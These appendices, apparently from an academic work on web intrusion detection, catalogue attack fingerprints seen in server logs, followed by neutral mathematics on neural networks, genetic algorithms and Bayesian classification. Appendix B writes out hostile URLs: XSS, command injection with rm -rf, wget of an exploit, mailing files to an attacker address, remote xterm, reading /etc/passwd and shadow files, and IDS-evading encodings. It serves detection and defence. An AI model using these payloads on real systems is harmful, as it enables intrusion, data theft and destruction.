B.1.14  " ( and ) " Requests 

This value is often used in Cross Site Scripting attacks. Cross Site Scripting has gotten a 

lot of attention lately, and a lot of large sites still suffer from this type of attack. 

Below is an example: 

http://host/index.php?stupid=< img%20src=javascript:alert(document.domain)> 

This example above will be sent to the index.php. From here an output page will be 

displayed with the following javascript. Next the client browser will execute this 

javascript and display a popup window. Cross site scripting is considered a low to 

medium threat. It does have the ability to allow an attacker to steal cookies from a user. 

An obvious way to prevent this would be to make sure the output doesn't contain < or > 

in them. This way the javascript will not be executed. 

B.1.15  " + " Request 

Sometimes the "+" is used as a blank space similar to "%20". This value, when used in 

an attack, is often used with cmd.exe backdoored hosts. Often times an attacker or 

worm will copy cmd.exe to a file inside the webroot. Once this file is copied an attacker 

has full control over the windows machine. He will use the + character to help pass 

arguments to the script. However, this character is widely used with web applications 

and it can be easily misidentified. 
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Below is an example: 

http://site/scripts/root.exe?/c+dir+c:\ 

This particular example is showing a request to a backdoor called root.exe. This 

backdoor is installed by sadmind/IIS worm, Code Red, and Nimda after a host is 

compromised. The + character is often used in windows backdoors that involve cmd.exe 

copies. 

B.2  Advanced Fingerprints 

B.2.1  Common commands an attacker or worm may 

execute. 

"/bin/ls" 

This is the binary of the ls command. It is often requested in full paths for a lot of 

common web application holes. If an administrator sees this request anywhere in the 

logs it is a good chance his system is affected by remote command execution holes. This 

isn't always a problem and could be a false alarm. Once again a study of the web 

application is essential.  

Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls%20-al| 

Example: http://host/cgi-bin/bad.cgi?doh=ls%20-al; 

"cmd.exe" 

This is the windows shell. An attacker if he has access to run this script will pretty much 

be able to do anything on a windows machine depending on server permissions. Most 

internet worms involving port 80 use cmd.exe to help spread infection of themselves to 

other remote systems. 

http://host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e:\ 

"/bin/id" 

This is the binary of the id command. This is often requested in full paths for a lot of 

common web application holes. If an administrator sees this request anywhere in web 

logs there is a good chance that his system is affected by remote command execution 

holes. This isn't always a problem and could be a false alarm.  
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Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/id| 

Example: http://host/cgi-bin/bad.cgi?doh=id; 

"/bin/rm" 

This is the binary of the rm command. This is often requested in full paths for a lot of 

common web application holes. If an administrator sees this request anywhere in the 

logs there is a good chance his system is affected by remote command execution holes. 

This isn't always a problem and could be a false alarm. This command, on the other 

hand, allows deletion of files and is very dangerous if either used improperly, or by an 

attacker.  

Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/rm%20-rf%20*| 

Example: http://host/cgi-bin/bad.cgi?doh=rm%20-rf%20*; 

"wget and tftp" commands 

These commands are often used by attackers and worms to download additional files, 

which may be used in gaining further system privileges. wget is a Unix command which 

may be used to download a backdoor. tftp is a Unix and NT command which is used to 

download files with. Some IIS worms used this tftp command to download a copy of 

themselves to an infected host to keep spreading itself. 

Example: 

http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget%20http://host2/Phantasmp.c| 

"cat" command 

This command is often used to view contents of files. This could be used to read 

important information such as configuration files, password files, credit card files, and 

anything else you can think of.  

Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat%20/etc/motd| 

Example: http://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd; 

"echo" command 

This command is often used to append data to files such as index.html. 

Example: 

http://host/cgi-

bin/bad.cgi?doh=../../../../bin/echo%20"fc#kiwis%20was%20here"%20>>%200day.txt| 

Example:  



Appendix B 
 

178 

http://host/cgi-

bin/bad.cgi?doh=echo%20"fc#kiwis%20was%20here"%20>>%200day.txt; 

"ps" command 

This command shows a listing of running processes. It can tell an attacker if the remote 

host is running any security software, and also give them ideas as to other security holes 

this host may have. 

Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps%20-aux| 

Example: http://host/cgi-bin/bad.cgi?doh=ps%20-aux; 

"kill and killall" commands 

These commands are used to kill processes on a Unix system. An attacker may use these 

to stop a system service or program. An attacker may also use this command to help 

cover his tracks if an exploit he used forked a lot of child processes or crashed 

abnormally. 

Example: http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200| 

Example: http://host/cgi-bin/bad.cgi?doh=kill%20-9%200; 

"uname" command 

This command is often used to tell an attacker the hostname of the remote system. Often 

times a website is hosted on an ISP and this command can get an idea of which ISP he 

may have access to. Usually uname -a is requested and it may appear in logs as 

"uname%20-a". 

Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname%20-a| 

Example: http://host/cgi-bin/bad.cgi?doh=uname%20-a; 

"cc, gcc, perl, python, etc..."  Compilers/Interpreter commands 

The "cc" and "gcc" commands allow compilation of programs. An attacker may use 

wget, or tftp to download files, and then use these compilers to compile the exploit. 

From here anything is possible, including local system exploitation. 

Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phantasmp.c| 

Example: http://host/cgi-bin/bad.cgi?doh=gcc%20Phantasmp.c;./a.out%20-p%2031337; 

If an administrator sees a request for "perl" or "python" it may be possible the attacker 

downloaded a remote perl or python script, and is trying to locally exploit his system. 

"mail" command  
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This command may be used by an attacker to email files to an email address the attacker 

owns. It may also be used to spam from, and spamming in this manner may not be very 

easy to detect. 

Example: 

http://host/cgi-

bin/bad.cgi?doh=../../../../bin/mail%20attacker@hostname%20<<%20/etc/motd| 

Example: 

http://host/cgi-bin/bad.cgi?doh=mail%20steele@jersey.whitehouse.gov%20<</tmp/wu-

2.6.1.c; 

"xterm/Other X application" commands 

Xterm is often used to help gain shell access to a remote system. If an administrator sees 

this in the logs he should take it very seriously as a possible security breach. This 

fingerprint is often used to help launch xterm or any other X application to a remote 

host.  

Example:  

http://host/cgi-bin/bad.cgi?doh=../../../../usr/X11R6/bin/xterm%20-

display%20192.168.22.1| 

Example: http://host/cgi-bin/bad.cgi?doh=Xeyes%20-display%20192.168.22.1; 

"chown, chmod, chgrp, chsh, etc..." commands 

These commands allow changing of permissions on a Unix system. Below is a list of 

what each does: 

chown = allows setting user ownership of a file. 

chmod = allows file permissions to be set. 

chgrp = allows group ownership to be changed. 

chsh = allows a user to change the shell that they use. 

Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/chmod%20777%20index.html| 

Example: http://host/cgi-bin/bad.cgi?doh=chmod%20777%20index.html; 

Example: 

http://host/cgi-bin/bad.cgi?doh=../../../../bin/chown%20zeno%20/etc/master.passwd| 

Example: http://host/cgi-bin/bad.cgi?doh=chsh%20/bin/sh; 



Appendix B 
 

180 

Example: http://host/cgi-

bin/bad.cgi?doh=../../../../bin/chgrp%20nobody%20/etc/shadow| 

B.2.2  Common files and directories an attacker may 

request. 

"/etc/passwd" 

This is the system password file. It is usually shadowed and will not provide encrypted 

passwords to an attacker. It will, on the other hand, give an attacker an idea as to valid 

usernames, system paths, and possibly sites hosted. If this file is shadowed often times 

an attacker will look in the /etc/shadow file. 

"/etc/master.passwd" 

This is the BSD system password file that contains the encrypted passwords. This file is 

only readable by the root account but an inexperienced attacker may check for the file in 

hopes of being able to read it. If the web server runs as the user "root" then an attacker 

will be able to read this file and the system administrator will have a lot of problems to 

come. 

"/etc/shadow" 

This is the system password file that contains the encrypted passwords. This file is only 

readable by the root account but an inexperienced attacker may check for the file in 

hopes of being able to read it. If the web server runs as the user "root" then an attacker 

will be able to read this file and the system administrator will have a lot of problems to 

come. 

"/etc/motd" 

The system "Message Of The Day" file contains the first message a user sees when they 

login to a Unix system. It may provide important system information an administrator 

wants the users to see, along with the operating system version. An attacker will often 

check this file so that they know what the system is running. From here they will 

research the OS and gather exploits that can be used to gain further access to the system. 

"/etc/hosts"  

This file provides information about ip addresses and network information. An attacker 

can use this information to find out more information about a system/network setup. 
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"/usr/local/apache/conf/httpd.conf" 

The path of this file is different but this is the common path. This is the Apache web 

server configuration file. It gives an attacker an idea of which websites are being hosted 

along with any special information like whether CGI or SSI access is allowed. 

"/etc/inetd.conf" 

This is the configuration file of the inetd service. This file contains system Daemons 

that the remote system is using. It also may show an attacker if the remote system is 

using a wrapper for each daemon. If a wrapper is found in use an attacker next will 

check for "/etc/hosts.allow" and "/etc/hosts.deny", and possibly modify these files 

depending on whether he gained further privileges. 

".htpasswd, .htaccess, and .htgroup" 

These files are used for password authentication on a website. An attacker will try to 

view the contents of these files to gather both usernames, and passwords. The 

passwords are located in the htpasswd file and are encrypted. A simple password 

cracker and some time on the other hand will grant an attacker access to certain 

password protected sections of a website, and possibly other account. A lot of people 

use the same username and password for everything, and often times this can allow an 

attacker access to other accounts this user may have. 

"access_log and error_log" 

These are the log files of the apache web server. An attacker will often times checks 

logs to see what has been logged of both his own requests as well as others. Often times 

an attacker will edit these logs and remote any reference to his hostname. It can become 

difficult to detect if an attacker has breached a system via port80 if these files aren't 

backed up or dual logged. 

"[drive-letter]:\winnt\repair\sam._ or [drive-letter]:winnt\repair\sam" 

This is the name of the Windows NT password file. An attacker will often request this 

file if remote command execution is not possible. From here he would run a program to 

crack the password on the remote windows machine. If the attacker manages to crack 

the administrator password, then the remote machine is free for the taking. 

"root.exe" 

 This is the backdoor left by Sadmin/IIS, Code Red, and Nimda worms. This backdoor 

is a copy of cmd.exe renamed to root.exe and put inside the webroot. If an attacker or 
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worm has access to this file, the security of the system may be in serious trouble. 

Common directories this file resides in are "/scripts/" and "/MSADC/". 

"[drive-letter]:\WINNT\system32\LogFiles\" 

This is the directory that contains the IIS server logs. An attacker may attempt to view 

the logs via a web application hole. If an administrator sees a reference to 

system32/LogFiles there is a good chance his system is already taken over. 

"[drive-letter]:\WINNT\system32\repair\" 

This is the directory that contains the backup password file on NT systems. The file will 

either be named "sam._"(NT4) or "sam"(Win2k). If an attacker manages to get a hold of 

this file then the web security is in real trouble. 

"nobody.cgi 1.0 A free Perl script from VerySimple" 

This is a cgi program, which was originally written to help provide administrators with 

a shell backdoor. It also has a hefty warning by the programmer explaining the dangers 

of improperly using this program. This is now a popular backdoor used by attackers to 

execute commands with the permission of the webserver.  

B.3  Buffer Overflow 

Below is a simple example: 

http://host/cgi-

bin/helloworld?type=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

This shows an attacker sending a lot of A's to a web application to test it for a buffer 

overflow. A buffer overflow can grant an attacker remote command execution. If the 

application is suid and owned by root this could allow full system access. If it is not 
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suid them it would grant then possibly command execution as the user id of the web 

server. 

B.4  Encoding 

With all the references made above to vulnerabilities, attackers know that IDS systems 

often check for such requests in a very literal manner. A lot of the time an attacker 

encodes his request in hex or Unicode, so that the IDS system will overlook the request.  

This paragraph covers common encoding methods an attacker or worm may use to help 

avoid detection. Hex, Unicode, and windows %u encoding are presented.  

B.4.1  Hex Encoding 

Example: %xx 

Encoded characters mentioned earlier: 

%2e  = . (change directory with ".." requests) 

%3e  = > (Html/Javascript/SSI insertion) 

%3c  = <  (Html/Javascript/SSI insertion) 

%2a  = *   (Argument to a system command) 

%2b  = +   (cmd.exe backdoor request. Also used as space) 

%60  = `   (Command execution) 

%21  = !   (SSI insertion) 

%7c  = |   (Command execution) 

%3b  = ;   (Command execution) 

%7e  = ~   (used in command to determine valid users on a system) 

%3f  = ?   (Php insertion) 

%5c  = \   (Possible Encoded Windows Directory Traversal Attempt) 

%2f  = /   (Possible Encoded Unix Directory Traversal Attempt) 

%7b  = {   (Possible trojan/backdoor upload attempt, possible command argument) 

%7d  = }  (Possible trojan/backdoor upload attempt, possible command argument) 

%28  = (   (Possible Cross Site Scripting attempt) 
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%29  = )   (Possible Cross Site Scripting attempt) 

%5b  = [   (Possible trojan/backdoor upload attempt, possible command argument) 

%5d  = ]   (Possible trojan/backdoor upload attempt, possible command argument) 

%5e  = ^   (Possible trojan/backdoor upload attempt, possible command argument) 

Below is what an example of directory traversal would look like while trying to fetch 

the server's password file. 

Example 1 : 

http://host/script.ext?template=%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f

%70%61%73%73%77%64 

This request is made up of: 

1. %2e%2e%2f%2e%2e%2f%2e%2e%2f = ../../../ 

2. %65%74%63 = etc 

3. %2f = / 

4. %70%61%73%73%77%64 = passwd 

 Combinations of this will probably be used to help further fool an IDS product. 

B.4.2  Unicode Encoding 

Example: %xx%xx 

This type of encoding by now has been heard about by most people who deal with 

security. The famous IIS exploit that used this encoding method is an example of what a 

Unicode request looks like. 

http://127.0.0.1/scripts/..%c0%af../winnt/system32/cmd.exe?+/c+dir+c:\ 

B.4.3  "%u" Encoded Requests 

Example: %uxxxx 

This is a type of encoding used by the Microsoft IIS web server. Through the use of this 

Microsoft specific encoding method, an attacker can possibly evade IDS products. 

Below is an example of what a worm or attacker may send to a vulnerable system with 

and without %u encoding. 

http://host/lame.asp?asp=a.txt 
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This request is attempting to read the file "a.txt" using lame.asp. 

http://host/lame.asp?asp=%u0061.txt 

This request does the same thing using "%u" Microsoft encoding. While this may still 

draw attention when someone views the logs manually, an IDS product may miss this 

request, and allow the attacker to continue his fun unnoticed. This type of encoding can 

also be used in conjunction with normal ASCII characters, and because of this alone, 

some IDS products will not detect such a request.  
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Appendix C 

Exact and Approximate representation using 

Feedforward Networks 

C.1  Exact Representation: Kolmogorov’s theorem 

Let In an n-dimensional cube: In = [0, 1]n  = {(x1,…,xn) Є Rn | 0 ≤ xi ≤ 1, i = 1,2 …n} 

Any continuous function f(x1,x2,…,xn) of n variables x1,x2,…,xn on In (n ≥ 2) can be 

represented in the form: 
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where hj and the gij’s are continuous functions of one variable; furthermore, the gij’s are 

fixed, monotone increasing functions that are not dependent on f(x1,x2,…,xn). 

Several authors have improved in several ways the representation in Eq. (C.1). Sprecher 

[Sprecher 65] replaced functions gij by kigj, where the ki’s are constants, to obtain 

another exact representation equation: 
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In the special case when n =2 in Eq. (C.2) a neural network realization of the mapping 

of the input variables x1, x2 to the output f(x1, x2) is shown in Figure C-1 [Goroso 89]. 

This type of realization, in the case of n input variables for the n-input one-output case, 

requires 2n + 1 units in the layer directly below the output layer and n(2n + 1) units in 

the layer two levels below the output layer. The total number of connections, which is 

2n2 + 3n + 1, excluding any connections from inputs or outputs, equals the total number 

of units in the two hidden layers. Therefore, the underlying graph characterizing the 

structure is layered but not a complete layered graph.  
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Figure C-1  A neural network for the Sprecher’s representation (n=2)  

Sprecher obtained another refinement that led to the following exact representation: 

C.2  Specher’s representation 

 For each preassigned number δ > 0 there is a rational number ε, 0 < ε <δ, such that 

every continuous function f(x1,x2,…,xn) of n variables, defined on In, can be represented 

as 
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Where the function h is real and continuous, g is real, monotonous increasing, 

continuous and dependent on n, and k is a constant independent of f(x1,x2,…,xn). 

Sprecher’s representation leads directly to a neural network realization of the vector 

map: 

f : [0, 1]n   → Rm,     where      f = [f1(x1,x2,…,xn) … fm(x1,x2,…,xn)]T  Є Rm. 

In the limiting case when ε = 0, this network is shown in Figure C-2, where again there 

are two hidden layers and an output layer, whereas the inputs are the independent real 
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variables x1, x2, … xn. The three-layered network is formed from the concatenation of the 

complete bipartite graphs Kn,2n+1 and K2n+1,m. When m = 1 the numbers of nodes in the 

two hidden and one output layers and of edges (excluding those from the input nodes 

and the output node) in the complete layered graph are 3n + 2 and 2n2 + 3n + 1, 

respectively. In comparison to the n-input generalization of the in Figure C-1, the 

corresponding structure of Figure C-2 has a lesser number of nodes but the same order 

of connections. The numbers inside the nodes of the hidden layer just below the output 

layer are the negatives of the thresholds. The threshold of each unit in the other hidden 

layer is zero when ε = 0. 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Figure C-2  The neural network for the Sprecher’s exact representation 

C.3  Approximate Representations 

Kolmogorov’s theorem is only an existence result. In fact, for an arbitrarily specified 

f(x1,x2,…,xn) there is no constructive procedure that leads to the representation in Eq. C.1, 

even though the existence of the representation is guaranteed. In view of this difficulty 

investigators have been initiated for approximate representations, subject to the neuron 
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transfer characteristic nonlinearities commonly encountered in multilayer feedforward 

training, using the popular backpropagation algorithm. Under these constraints the exact 

representation of Kolmogorov fails to provide not only the number of layers but also the 

number of neurons in each hidden layer. Cybenko [Cybenko 89] considered 

approximated a specified absolutely integrable function f(x1,x2,…,xn) in the real variables 

x1, x2, … xn by finite linear combinations of the form, 

),(
1

j
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N

j
j xw θσα −∑

=

rr           (C.4)  

where αj and θj are fixed real numbers and xw rr, are  respectively (n x 1) weight and input 

vectors.  

The main result of Cybenko is that given an ε > 0 and an absolutely integrable function  

f(x1,x2,…,xn) oven the n-dimensional cube In there exists a sum h(x1,x2,…,xn) of the form in 

Eq. (C.4) for which 

|h(x) – f(x)| < ε, for all x = [x1, x2, … xn]T Є I n. 

Thus, any absolutely integrable function can be uniformly approximated by a neural 

network having only one hidden layer employing continuous sigmoidal nonlinearities. 

The drawback is that the approximating properties focus only one existence and for a 

specified value of error ε the number N of terms in the summation of Eq. (C.4) could be 

impractically large.  
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Appendix D 

Multilayer Feedforward Network Training by 

Backpropagation 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Figure D-1  A typical multilayer feedforward network structure 

Let the training set be  { }N
kkdkx 1)(),( =  , where x(k) is the input pattern vector to the 

network and d(k) is the desired output vector for the input vector x(k). The output of the 

jth output unit is denoted by yj. Connection weights from the the ith unit, in one layer, to 

the jth unit, in the layer above, are denoted by wij. By using the superscript l in wij
(l) we 

denote the fact that the layer containing the jth unit is l layers below the output layer. 

When l=0 the output layer is defined and the superscript may be omitted. Let m be the 

number of output units. Suppose that dj(k) is the desired output from the jth output unit 
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whose actual output in response to the kth input examplar x(k) is yj, for j = 1,2..m. Define 

the sum of squares of the error over all input units for this kth exemplar by 

( ) ( )[ ]
2

12
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m

j
jj kdkykE                (D.1)  

and the total classification error over the set of N exemplars by  
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The process of computing the error E(k) in Eq. (D.1) is called a forward pass. After 

presentation of a training pattern x(k), the classification error can be computed. The 

objective is to determine how the error is reducible by the adjustment of network 

parameters.  

How the error E(k) is affected by the output from unit j at the output layer is determined 

easily from Eq. (D.1) by computing 
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Recall that the net input to unit j in the output layer is of the form 

jij
i

ij wys θ−= ∑ )1(          (D.4) 

Where yi
(1) is the output from the ith unit in the first layer below the output layer, wij is 

the connection weight multiplying yi
(1) and θj is the threshold of unit j. Remember that 

the negative of the threshold is defined to be the bias. 

The transfer characteristic of output unit j, described by the relationship yj = fj(xj) should 

be such that ∂fj / ∂sj exists and is finite. A popular choice for fj is the sigmoidal function 

which provides the mapping described in the following equation, where the positive real 

parameter λ determines the slope of the function at a point and is called the activation 

gain: 
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The sigmoidal function is differentiable and therefore continuous everywhere. It is also 

a bounded and monotonically nondecreasing function. Its derivative is positive and zero 

as the magnitude of the argument sj approaches infinity.  

How the error E(k) is affected by the input sj in Eq. (D.4) to the jth unit of the output 

layer can be computed from 
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Since unit i in the layer just below the output layer is connected to unit j of the output 

layer by interconnection weight wij, we need to calculate 
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Eq. (D.9) permits the computation of ijwkE ∂∂ )( for the connection weights to each unit 

in the output layer from the units in the layer directly below it. It can now be said that 

the error has been propagated down one layer. 

Next, let us determine how the error E(k) is affected by connection weights from units 

that are located in layers that are two or more levels below the output layer. The output 

from the ith unit in the layer that is l levels below the output layer is denoted by yi
(l) and 

the net input to it is si
(l). This net input is related to the corresponding output by the map 
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si
(l)  can be expressed as weighted sum of the outputs ym

(l=1) from the units in the layer 

directly below: 
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where wmi
(l) are connection weights and θi

(l) is the threshold of unit i in level below the 

output layer. By applying the chain rule, the following derivative is computed for each 

unit corresponding to the case l=1 : 
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 The output from unit i may be connected to more than one unit at the layer above as in 

Figure D-1 Summing over all connections emanating from unit i to the layer above we 

have 
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Substitution  of Eq. (D.13) in Eq. (D.12) permits the computation of )1()( miwkE ∂∂ . The 

procedure summarized in Eqs. (D.12) and (D.13) for the l = 1 case is repeated until  
)()( l

miwkE ∂∂  is computed for all connections. At each layer, the partial derivatives 

)()( l
jskE ∂∂ are saved for computations at the next layer. These partial derivatives will, 

however, not be needed after the computations for the layer immediately below are 

completed. For the layered topology, only the communication between units in adjacent 

layers is required for computation. The process of computing the partial derivatives 
)()( l

ijwkE ∂∂ from the output layer all the way down to connections linking the input 

variables to units at the first layer is called the backward pass. 

There are two approaches for applying the gradient descent method to the training of a 

multilayered feedforward neural network. The first is based on periodic updating and 

the second on continuous updating. When the exemplars from the training set are 

presented to the network sequentially, an entire pass through all the elements of the 

training set constitutes an epoch. When such an entire pass occurs without error, 

training will be considered to be complete. 

In the periodic updating approach the gradient 
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is computing over all N exemplars, one by one, where w has all the weights arranged as 

a vector, so that 
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where M denotes the total number of weights in the network. The weights are updated 

only once a cycle, after all the training patterns are presented, according to the 

generalized delta update rule, 

w
Eww Toldnew
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where η is a small constant greater than zero, referred to as the learning rate. In Eq. 

D.16 wnew and wold may be viewed as weight vectors at time indices k+1 and k 

respectively, and therefore may also be denoted by w(k+1) and w(k). 

The continuous updating approach requires that the weights be updated after each 

training pattern is presented. That is, after all the partial derivatives )()( l
ijwkE ∂∂ are 

computed for all the connections in the network, the weights are updated according to  
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The periodic update equation is equivalent to considering wkE ∂∂ )( as an 

approximation to wET ∂∂ . 

There is no guarantee of convergence to the desired solution in either approach. The 

second approach has the advantage of not requiring storage for all )()( l
ijwkE ∂∂ . Larger 

values of η in the gradient descent formulation may lead to faster convergence. 

However, they may also lead to oscillation. One attempt at increasing the speed of 

convergence while minimizing the possibility of oscillation involves adding a 

momentum term to the basic gradient descent formulation. In this case, the weight 

vector at time (k+1) is related to the weight vectors at time indices k and (k-1) by 
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where β is a constant (momentum term) that determines the effect of past weight 

changes on the current weight change and it is often chosen to be around 0.9. 
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Appendix E 

Genetic Algorithms 

E.1  Genetic Algorithms theoretical foundation 

The theoretical foundation of genetic algorithms is based on the Schema Theorem. John 

Holland introduced the notation of schema [Holland 75], which comes from the greek 

word meaning ‘form’. A schema is a set of bit strings of ones, zeros and asterisks, 

where each asterisk can assume either value 1 or 0. The ones and zeros represent the 

fixed positions of a schema, while asterisks represent ‘wild cards’. For example, the 

schema  

1 * * 0 

stands for a set of 4-bit strings. Each string in this set begins with 1 and ends with 0. 

These are called instances of the schema. 

A chromosome matches a schema when the fixed positions in the schema match the 

corresponding positions in the chromosome. For example above the schema H matches 

the following set of 4-bit chromosomes: 

1 1 1 0 
1 1 0 0 
1 0 1 0 
1 0 0 0 

The number of defined bits (non asterisks) in a schema is called the order. The order of 

the above schema H is 2 as it has two defined bits. The distance between the outmost 

defined bits of a schema is called defining length. The defining length of the above 

schema is 3. 

Genetic algorithms manipulate schemata. If GA’s use a technique that makes the 

probability of reproduction proportional to chromosome fitness, then according to the 

Schema Theorem we can predict the presence of a given schema in the next 

chromosome generation. In other words, we can describe the GA’s behavior in terms of 

the increase or decrease in the number of instances of a given schema [Goldberg 89]. 
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 Let us assume that at least one instance of the schema H is present in the chromosome 

initial generation i. Now let mH(i) be the number of instances of the schema H in the 

generation I and fH(i) be the average fitness of these instances. We want to calculate the 

number of instances in the next generation, mH(i+1). As the probability of reproduction 

is proportional to chromosome fitness, we can easily calculate the expected number of 

offspring of a chromosome x in the next generation: 

)(ˆ
)()1(

if
ifim x

x =+ , 

where fx(i) is the fitness of the chromosome x, and )(ˆ if  is the average fitness of the 

chromosome initial generation i. 

Then assuming that the chromosome x is an instance of the schema H we obtain: 
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Thus, a schema with above-average fitness will indeed tend to occur more frequently in 

the next generation of chromosomes and as schema with below-average fitness will tend 

to occur less frequently. 

E.2  Effects of crossover and mutation operators 

Crossover and mutation can both create and destroy instances of a schema. Let consider 

only destructive effects, that is effects that decrease the number of instances of the 

schema H. The schema will survive after crossover if at least one of its offspring is also 

its instance. This happens when crossover does not occur within the defining length of 

the schema.  

If crossover takes place within the defining length, the schema H can be destroyed and 

offspring that are not instances of H can be created.  
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Thus the probability that the schema H will survive after crossover can be defined as: 
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where pc is the crossover probability and l and ld  are the length and defining length of 

the schema H respectively. 

It is clear that the probability of survival under crossover is higher for short schemata 

rather than for long ones. 

Now consider the destructive effects of mutation. Let pm be the mutation probability for 

any bit of the schema H and n the order of the schema H. Then (1-pm) represents the 

probability that the bit will not be mutated and thus the probability that the schema H 

will survive after mutation is determines as: 
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It is also clear that the probability of survival under mutation is higher for low-order 

schemata than for high-order ones. 

We can now amend the following equation to take account the destructive effects of 

crossover and mutation: 
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This equation describes the growth of a schema from one generation to the next. It is 

known as Schema Theorem. Because the equation considers only the destructive effects 

of crossover and mutation it gives a lower bound on the number of instances of the 

schema H in the next generation. 
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Appendix F 

Classification: Bayes’ decision rule 

F.1  Bayes’ rule for minimum error 

Consider C classes ω1, ... ωC with a priori probabilities p(ω1), ... p(ωC) assumed known, 

e.g. the probabilities of each class occurring are known. We would assign an object to 

class ωj, if  

p(ωj) > p(ωk)   k=1,…C,   k # j 

This classifies all objects as belonging to one class. We wish to minimize the 

probability of making an error. 

Because our object to classify is a vector, a decision rule based on probabilities is to 

assign x to class ωj, if the conditional probability of class ωj given the observation x, 

p(ωj | x), is greatest over all classes ω1, ... ωC.  

So, we assign x to class ωj  if : 

p(ωj | x ) > p(ωk | x)   k=1,…C,   k # j      (F.1) 

This decision rule partitions the measurement space into C regions Ω1, ...ΩC such that if 

 x Є Ωj  then x belongs to class ωj. 

From Bayes theorem, if A1, A2, …An are events which partition the sample space (e.g 

they are mutually exclusive and their union is Ω) we have 
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In classification problems, B is often an observation event and the Aj are the classes. 

The term a priori probability is often used for the quantity P(Ai) and the objective is to 

find P(Ai|B), which is termed the a posteriori probability of Ai.  

The conditional density of x given that the random vector Y has some specified value y, 

is  
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where p(x,y) is the joint density of variables X and Y and p(y) is the marginal density 

∫= dxyxpyp ),()( . 

So the density form of the Bayes’ theorem becomes 
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The a posteriori probabilities p(ωj|x) may be expressed in terms of the a priori 

probabilities and the class-conditional density function p(x|ωi) using Bayes’ theorem as 
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i
ωωω =  

And the decision rule (Eq. F.1) may be written:  

Assign x to ωj  if : 

p(x|ωj)p(ωj) > p(x|ωk) p(ωk)  k=1,…C,   k # j    (F.2) 

This is known as Bayes’ rule for minimum error. 

For two classes, the decision rule (Eq. F.2) may be written 

)(
)(

)|(
)|()(

1

2

2

1

ω
ω

ω
ω

p
p

xp
xpxL f=    implies x Є class ω1.     (F.3) 

The function L(x) is the likelihood ratio. 

The fact that the decision rule (Eq. F.2) minimizes the error may be seen as follows. The 

probability of making an error, p(error), may be expressed as: 

)()|()(
1

i

C

i
i perrorperrorp ωω∑

=

= , 

where  p(error|ωi)  is the probability of misclassifying patterns from class ωi.  

The error is given by 

∫
Ω

=
][

)|()|(
iC

ii dxxperrorp ωω ,  

 where C[Ωi] is the region of measurement space outside Ωi, i.e ∑
=

Ω=Ω
ijj

jiC
#,1

][ . 

So, we may write the probability of misclassifying a pattern as 
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dxxppdxxppdxpxperrorp
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So, minimizing the probability of making an error is equivalent to maximizing 

dxxpp
i

i

C

i
i )|()(

1
∫∑
Ω=

ωω  

This sum is the probability of correct classification. Therefore we wish to choose the 

regions Ωi  so that the integral in the previous sum is a maximum. This is achieved by 

selecting Ωi to be the region for which p(ωi) p(x|ωi) is the largest over all classes and 

the probability of correct classification c is 

∫= dxxppc iii
)|()(max ωω . 

The Bayes’ error is then  

∫−= dxxppe iiiB )|()(max1 ωω . 

F.2  Bayes’ rule for minimum error – reject option 

An error or misrecognition occurs when the classifier assigns a pattern to one class 

when it actually belongs to another. Usually, it is the uncertain classifications which 

mainly contribute to the error rate. Therefore, rejecting a pattern may lead to a reduction 

in the error rate. The rejected pattern may be discarded, or set aside until further 

information allows a decision to be made. Although the option to reject may alleviate or 

remove the problem of a high misrecognition rate, some otherwise correct 

classifications are also converted into rejects. So, we must consider the trade-offs 

between the error rate and reject rate. 

Firstly, we partition the sample space into two complementary regions: R, a reject 

region, and A, an acceptance or classification region. These are defined by 

)})|(max1|{ txpxR ii
>−= ω  

)})|(max1|{ txpxA ii
≤−= ω  where t is a threshold. 

The smaller the value of the threshold, the larger is the reject region R. However, if t is 

chosen such that  
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C
t 11 <−  or   equivalently, 

C
Ct 1−

> ,  

where C is the number of classes, then the reject region is empty. This is because the 

minimum value which maxi p(ωi)|x) can obtain is 1/C, since 

))|(max*)|(1
1

xpCxp ii

C

i
i ωω ≤= ∑

=

,  when all classes are equally likely. 

Therefore, for the reject option to be activated, we must have t ≤ (C-1)/C. 

Thus, if a pattern x lies in the region A, we classify it according to the Bayes’ rule for 

minimum error. However, if x lies in the region R, we reject x. 

The probability of correct classification, c(t), is a function of the threshold and is given 

by 

∫= dxxpptc iii
)]|()([max)( ωω  

and the unconditional probability of rejecting a measurement x, r, also a function of t, is 

∫=
R

dxxptr )()( . 

Finally, the error rate, e (the probability of accepting a point for classification and 

incorrectly classifying it), is 

)()(1)())|(max1()( trtcdxxpxpte
A

i
−−=−= ∫ ιω  

Thus, the error rate and reject rate are inversely related. 
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